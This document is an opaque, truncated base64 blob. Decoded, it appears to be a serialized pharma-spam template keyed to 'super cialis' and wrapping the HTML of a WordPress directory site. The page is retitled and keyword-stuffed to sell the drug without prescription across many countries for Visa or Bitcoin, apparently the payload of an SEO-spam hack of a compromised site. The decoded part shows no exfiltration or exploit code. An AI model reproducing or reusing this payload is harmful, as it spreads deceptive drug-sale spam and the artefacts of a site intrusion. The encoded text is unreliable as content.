YToyOntzOjU6Im5pY2hlIjtzOjEyOiJzdXBlciBjaWFsaXMiO3M6NDoiaHRtbCI7czo4OTQ3MzoiPCFkb2N0eXBlIGh0bWw+CgoKPGh0bWwgY2xhc3M9Im5vLWpzIiBsYW5nPSJlbi1VUyI+CgoJPGhlYWQ+CgkJCjxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9hcmNoaXZlIj4KPG1ldGEgY2hhcnNldD0iVVRGLTgiIC8+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz52YXIgdWEgPSBuYXZpZ2F0b3IudXNlckFnZW50OyB2YXIgbWV0YSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ21ldGEnKTtpZigodWEudG9Mb3dlckNhc2UoKS5pbmRleE9mKCdhbmRyb2lkJykgPiAtMSAmJiB1YS50b0xvd2VyQ2FzZSgpLmluZGV4T2YoJ21vYmlsZScpKSB8fCAoKHVhLm1hdGNoKC9pUGhvbmUvaSkpIHx8ICh1YS5tYXRjaCgvaVBhZC9pKSkpKXsgbWV0YS5uYW1lID0gJ3ZpZXdwb3J0JzsJbWV0YS5jb250ZW50ID0gJ3RhcmdldC1kZW5zaXR5ZHBpPWRldmljZS1kcGksIHdpZHRoPWRldmljZS13aWR0aCc7IH12YXIgbSA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdtZXRhJylbMF07IG0ucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUobWV0YSxtKTs8L3NjcmlwdD4gCQk8bWV0YSBuYW1lPSJBdXRob3IiIGNvbnRlbnQ9IkFpdFRoZW1lcy5jbHViLCBodHRwOi8vd3d3LmFpdC10aGVtZXMuY2x1YiIgLz4KCgkJPHRpdGxlPlNob3AgU3VwZXIgQ2lhbGlzIGluIFNhaW50IFZpbmNlbnQgYW5kIHRoZSBHcmVuYWRpbmVzIEtpbmdzdG93bjwvdGl0bGU+CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJQdXJjaGFzZSBTdXBlciBDaWFsaXMgaW4gUGl0Y2Fpcm4gSXNsYW5kcyBBZGFtc3Rvd24uIFNhbGUgU3VwZXIgQ2lhbGlzIC0gYWNjZXB0IFZpc2EuIFB1cmNoYXNlIFN1cGVyIENpYWxpcyBpbiBTb3V0aCBHZW9yZ2lhIGFuZCB0aGUgU291dGggU2FuZHdpY2ggSXNsYW5kcyBHcnl0dmlrZW4uIFNob3AgU3VwZXIgQ2lhbGlzIGluIEVjdWFkb3IgUXVpdG8uIEJ1eSBTdXBlciBDaWFsaXMgLSBhY2NlcHQgQml0Y29pbi4gUGljayB1cCBTdXBlciBDaWFsaXMgLSBhY2NlcHQgQ3JlZGl0IENhcmQuIFNob3AgZm9yIFN1cGVyIENpYWxpcyAtIGFjY2VwdCBWaXNhLiBCdXkgU3VwZXIgQ2lhbGlzIGluIEJ1cmtpbmEgRmFzbyBPdWFnYWRvdWdvdS4gUHVyY2hhc2UgU3VwZXIgQ2lhbGlzIGluIFRvZ28gTG9t6S4gU2hvcCBTdXBlciBDaWFsaXMgLSBhY2NlcHQgTWFzdGVyQ2FyZC4gQnVsayBCdXkgU3VwZXIgQ2lhbGlzIC0gYWNjZXB0IE1hc3RlckNhcmQuIERpc2NvdW50IFN1cGVyIENpYWxpcyB3aXRoIEJpdGNvaW4uIE9yZGVyIFN1cGVyIENpYWxpcyBpbiBFcml0cmVhIEFzbWFyYS4iPgoJCTxsaW5rIHJlbD0icHJvZmlsZSIgaHJlZj0iaHR0cDovL2dtcGcub3JnL3hmbi8xMSIgLz4KCQk8bGluayByZWw9InBpbmdiYWNrIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMveG1scnBjLnBocCIgLz4KCgkJPGxpbmsgaHJlZj0iaHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9T3N3YWxkIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiAvPgoKCQk8bGluayBpZD0iYWl0LXN0eWxlIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0iYWxsIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L3N0eWxlLmNzcz8xNTA1MzU2NTk5IiAvPgoKPGxpbmsgcmVsPSdkbnMtcHJlZmV0Y2gnIGhyZWY9Jy8vbWFwcy5nb29nbGUuY29tJyAvPgo8bGluayByZWw9J2Rucy1wcmVmZXRjaCcgaHJlZj0nLy9zLncub3JnJyAvPgoKCgkJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCQl3aW5kb3cuX3dwZW1vamlTZXR0aW5ncyA9IHsiYmFzZVVybCI6Imh0dHBzOlwvXC9zLncub3JnXC9pbWFnZXNcL2NvcmVcL2Vtb2ppXC8xMVwvNzJ4NzJcLyIsImV4dCI6Ii5wbmciLCJzdmdVcmwiOiJodHRwczpcL1wvcy53Lm9yZ1wvaW1hZ2VzXC9jb3JlXC9lbW9qaVwvMTFcL3N2Z1wvIiwic3ZnRXh0IjoiLnN2ZyIsInNvdXJjZSI6eyJjb25jYXRlbW9qaSI6Imh0dHA6XC9cL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzXC93cC1pbmNsdWRlc1wvanNcL3dwLWVtb2ppLXJlbGVhc2UubWluLmpzP3Zlcj00LjkuMTAifX07CgkJCSFmdW5jdGlvbihhLGIsYyl7ZnVuY3Rpb24gZChhLGIpe3ZhciBjPVN0cmluZy5mcm9tQ2hhckNvZGU7bC5jbGVhclJlY3QoMCwwLGsud2lkdGgsay5oZWlnaHQpLGwuZmlsbFRleHQoYy5hcHBseSh0aGlzLGEpLDAsMCk7dmFyIGQ9ay50b0RhdGFVUkwoKTtsLmNsZWFyUmVjdCgwLDAsay53aWR0aCxrLmhlaWdodCksbC5maWxsVGV4dChjLmFwcGx5KHRoaXMsYiksMCwwKTt2YXIgZT1rLnRvRGF0YVVSTCgpO3JldHVybiBkPT09ZX1mdW5jdGlvbiBlKGEpe3ZhciBiO2lmKCFsfHwhbC5maWxsVGV4dClyZXR1cm4hMTtzd2l0Y2gobC50ZXh0QmFzZWxpbmU9InRvcCIsbC5mb250PSI2MDAgMzJweCBBcmlhbCIsYSl7Y2FzZSJmbGFnIjpyZXR1cm4hKGI9ZChbNTUzNTYsNTY4MjYsNTUzNTYsNTY4MTldLFs1NTM1Niw1NjgyNiw4MjAzLDU1MzU2LDU2ODE5XSkpJiYoYj1kKFs1NTM1Niw1NzMzMiw1NjEyOCw1NjQyMyw1NjEyOCw1NjQxOCw1NjEyOCw1NjQyMSw1NjEyOCw1NjQzMCw1NjEyOCw1NjQyMyw1NjEyOCw1NjQ0N10sWzU1MzU2LDU3MzMyLDgyMDMsNTYxMjgsNTY0MjMsODIwMyw1NjEyOCw1NjQxOCw4MjAzLDU2MTI4LDU2NDIxLDgyMDMsNTYxMjgsNTY0MzAsODIwMyw1NjEyOCw1NjQyMyw4MjAzLDU2MTI4LDU2NDQ3XSksIWIpO2Nhc2UiZW1vamkiOnJldHVybiBiPWQoWzU1MzU4LDU2NzYwLDk3OTIsNjUwMzldLFs1NTM1OCw1Njc2MCw4MjAzLDk3OTIsNjUwMzldKSwhYn1yZXR1cm4hMX1mdW5jdGlvbiBmKGEpe3ZhciBjPWIuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7Yy5zcmM9YSxjLmRlZmVyPWMudHlwZT0idGV4dC9qYXZhc2NyaXB0IixiLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0uYXBwZW5kQ2hpbGQoYyl9dmFyIGcsaCxpLGosaz1iLmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLGw9ay5nZXRDb250ZXh0JiZrLmdldENvbnRleHQoIjJkIik7Zm9yKGo9QXJyYXkoImZsYWciLCJlbW9qaSIpLGMuc3VwcG9ydHM9e2V2ZXJ5dGhpbmc6ITAsZXZlcnl0aGluZ0V4Y2VwdEZsYWc6ITB9LGk9MDtpPGoubGVuZ3RoO2krKyljLnN1cHBvcnRzW2pbaV1dPWUoaltpXSksYy5zdXBwb3J0cy5ldmVyeXRoaW5nPWMuc3VwcG9ydHMuZXZlcnl0aGluZyYmYy5zdXBwb3J0c1tqW2ldXSwiZmxhZyIhPT1qW2ldJiYoYy5zdXBwb3J0cy5ldmVyeXRoaW5nRXhjZXB0RmxhZz1jLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnJiZjLnN1cHBvcnRzW2pbaV1dKTtjLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnPWMuc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWcmJiFjLnN1cHBvcnRzLmZsYWcsYy5ET01SZWFkeT0hMSxjLnJlYWR5Q2FsbGJhY2s9ZnVuY3Rpb24oKXtjLkRPTVJlYWR5PSEwfSxjLnN1cHBvcnRzLmV2ZXJ5dGhpbmd8fChoPWZ1bmN0aW9uKCl7Yy5yZWFkeUNhbGxiYWNrKCl9LGIuYWRkRXZlbnRMaXN0ZW5lcj8oYi5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixoLCExKSxhLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGgsITEpKTooYS5hdHRhY2hFdmVudCgib25sb2FkIixoKSxiLmF0dGFjaEV2ZW50KCJvbnJlYWR5c3RhdGVjaGFuZ2UiLGZ1bmN0aW9uKCl7ImNvbXBsZXRlIj09PWIucmVhZHlTdGF0ZSYmYy5yZWFkeUNhbGxiYWNrKCl9KSksZz1jLnNvdXJjZXx8e30sZy5jb25jYXRlbW9qaT9mKGcuY29uY2F0ZW1vamkpOmcud3BlbW9qaSYmZy50d2Vtb2ppJiYoZihnLnR3ZW1vamkpLGYoZy53cGVtb2ppKSkpfSh3aW5kb3csZG9jdW1lbnQsd2luZG93Ll93cGVtb2ppU2V0dGluZ3MpOwoJCTwvc2NyaXB0PgoJCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmltZy53cC1zbWlsZXksCmltZy5lbW9qaSB7CglkaXNwbGF5OiBpbmxpbmUgIWltcG9ydGFudDsKCWJvcmRlcjogbm9uZSAhaW1wb3J0YW50OwoJYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50OwoJaGVpZ2h0OiAxZW0gIWltcG9ydGFudDsKCXdpZHRoOiAxZW0gIWltcG9ydGFudDsKCW1hcmdpbjogMCAuMDdlbSAhaW1wb3J0YW50OwoJdmVydGljYWwtYWxpZ246IC0wLjFlbSAhaW1wb3J0YW50OwoJYmFja2dyb3VuZDogbm9uZSAhaW1wb3J0YW50OwoJcGFkZGluZzogMCAhaW1wb3J0YW50Owp9Cjwvc3R5bGU+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2d0cmFuc2xhdGUtc3R5bGUtY3NzJyAgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2d0cmFuc2xhdGUtc3R5bGUyNC5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvY29udGFjdC1mb3JtLTcvaW5jbHVkZXMvY3NzL3N0eWxlcy5jc3M/dmVyPTQuOScgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3JzLXBsdWdpbi1zZXR0aW5ncy1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9ycy1wbHVnaW4vY3NzL3NldHRpbmdzLmNzcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPHN0eWxlIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtaW5saW5lLWNzcycgdHlwZT0ndGV4dC9jc3MnPgoudHAtY2FwdGlvbiBhe2NvbG9yOiNmZjczMDI7dGV4dC1zaGFkb3c6bm9uZTstd2Via2l0LXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXQ7LW1vei10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1vLXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXQ7LW1zLXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXR9LnRwLWNhcHRpb24gYTpob3Zlcntjb2xvcjojZmZhOTAyfQo8L3N0eWxlPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LXByZXR0eVBob3RvLWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2Nzcy9wcmV0dHlQaG90by5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2FpdC1qcXVlcnktZmFuY3lib3gtY3NzJyAgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2ZhbmN5Ym94L2pxdWVyeS5mYW5jeWJveC0xLjMuNC5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2FpdC1qcXVlcnktaG92ZXItem9vbS1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvaG92ZXJab29tLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1mYW5jeWNoZWNrYm94LWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2Nzcy9qcXVlcnkuZmFuY3ljaGVja2JveC5taW4uY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdqcXVlcnktdWktY3NzLWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2Nzcy9qcXVlcnktdWktMS4xMC4xLmN1c3RvbS5taW4uY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5qcz92ZXI9MS4xMi40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnktbWlncmF0ZS5taW4uanM/dmVyPTEuNC4xJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9kaXJlY3RvcnktZXh0ZW5zaW9uLXBsdWdpbi8vbGlicy9mcm9udEVuZFNjcmlwdHMuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvanF1ZXJ5LmpjYXJvdXNlbC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvYmZfc2NyaXB0LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcnMtcGx1Z2luL2pzL2pxdWVyeS50aGVtZXB1bmNoLnRvb2xzLm1pbi5qcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcnMtcGx1Z2luL2pzL2pxdWVyeS50aGVtZXB1bmNoLnJldm9sdXRpb24ubWluLmpzP3Jldj00LjYuMCYjMDM4O3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5mYW5jeWNoZWNrYm94Lm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuaHRtbDUtcGxhY2Vob2xkZXItc2hpbS5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL21hcHMuZ29vZ2xlLmNvbS9tYXBzL2FwaS9qcz9rZXk9QUl6YVN5RDFuaHlySnJ5SFFFME42T1Foa29xd0VMQk0weE81ME5JJiMwMzg7c2Vuc29yPWZhbHNlJiMwMzg7bGFuZ3VhZ2U9ZW5fVVMmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9nbWFwMy5pbmZvYm94LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2dtYXAzLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuaW5maWVsZGxhYmVsLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5wcmV0dHlQaG90by5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuZmFuY3lib3gtMS4zLjQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmVhc2luZy0xLjMubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5uaWNlc2Nyb2xsLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkucXVpY2tzYW5kLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2hvdmVyLnpvb20uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmZpbmlzaGVkVHlwaW5nLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL3NwaW4ubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL21vZGVybml6ci50b3VjaC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvZ3JpZGdhbGxlcnkuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL3JhdGluZy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgovKiA8IVtDREFUQVsgKi8KdmFyIE15QWpheCA9IHsiYWpheHVybCI6Imh0dHA6XC9cL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzXC93cC1hZG1pblwvYWRtaW4tYWpheC5waHAiLCJhamF4bm9uY2UiOiI1NTZhYmRlZTIzIn07Ci8qIF1dPiAqLwo8L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvc2NyaXB0LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8bGluayByZWw9J2h0dHBzOi8vYXBpLncub3JnLycgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL2luZGV4LnBocD9yZXN0X3JvdXRlPS8nIC8+CjxsaW5rIHJlbD0iRWRpdFVSSSIgdHlwZT0iYXBwbGljYXRpb24vcnNkK3htbCIgdGl0bGU9IlJTRCIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3htbHJwYy5waHA/cnNkIiAvPgo8bGluayByZWw9Indsd21hbmlmZXN0IiB0eXBlPSJhcHBsaWNhdGlvbi93bHdtYW5pZmVzdCt4bWwiIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1pbmNsdWRlcy93bHdtYW5pZmVzdC54bWwiIC8+IAo8bGluayByZWw9ImNhbm9uaWNhbCIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9haXQtZGlyLWl0ZW0tY2F0ZWdvcnk9cGV0LWJsb2dzIiA+CjxsaW5rIHJlbD0nc2hvcnRsaW5rJyBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1jYXRlZ29yeT1wZXQtYmxvZ3MnIC8+CgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgooZnVuY3Rpb24odXJsKXsKCWlmKC8oPzpDaHJvbWVcLzI2XC4wXC4xNDEwXC42MyBTYWZhcmlcLzUzN1wuMzF8V29yZGZlbmNlVGVzdE1vbkJvdCkvLnRlc3QobmF2aWdhdG9yLnVzZXJBZ2VudCkpeyByZXR1cm47IH0KCXZhciBhZGRFdmVudCA9IGZ1bmN0aW9uKGV2dCwgaGFuZGxlcikgewoJCWlmICh3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcikgewoJCQlkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKGV2dCwgaGFuZGxlciwgZmFsc2UpOwoJCX0gZWxzZSBpZiAod2luZG93LmF0dGFjaEV2ZW50KSB7CgkJCWRvY3VtZW50LmF0dGFjaEV2ZW50KCdvbicgKyBldnQsIGhhbmRsZXIpOwoJCX0KCX07Cgl2YXIgcmVtb3ZlRXZlbnQgPSBmdW5jdGlvbihldnQsIGhhbmRsZXIpIHsKCQlpZiAod2luZG93LnJlbW92ZUV2ZW50TGlzdGVuZXIpIHsKCQkJZG9jdW1lbnQucmVtb3ZlRXZlbnRMaXN0ZW5lcihldnQsIGhhbmRsZXIsIGZhbHNlKTsKCQl9IGVsc2UgaWYgKHdpbmRvdy5kZXRhY2hFdmVudCkgewoJCQlkb2N1bWVudC5kZXRhY2hFdmVudCgnb24nICsgZXZ0LCBoYW5kbGVyKTsKCQl9Cgl9OwoJdmFyIGV2dHMgPSAnY29udGV4dG1lbnUgZGJsY2xpY2sgZHJhZyBkcmFnZW5kIGRyYWdlbnRlciBkcmFnbGVhdmUgZHJhZ292ZXIgZHJhZ3N0YXJ0IGRyb3Aga2V5ZG93biBrZXlwcmVzcyBrZXl1cCBtb3VzZWRvd24gbW91c2Vtb3ZlIG1vdXNlb3V0IG1vdXNlb3ZlciBtb3VzZXVwIG1vdXNld2hlZWwgc2Nyb2xsJy5zcGxpdCgnICcpOwoJdmFyIGxvZ0h1bWFuID0gZnVuY3Rpb24oKSB7CgkJdmFyIHdmc2NyID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CgkJd2ZzY3IudHlwZSA9ICd0ZXh0L2phdmFzY3JpcHQnOwoJCXdmc2NyLmF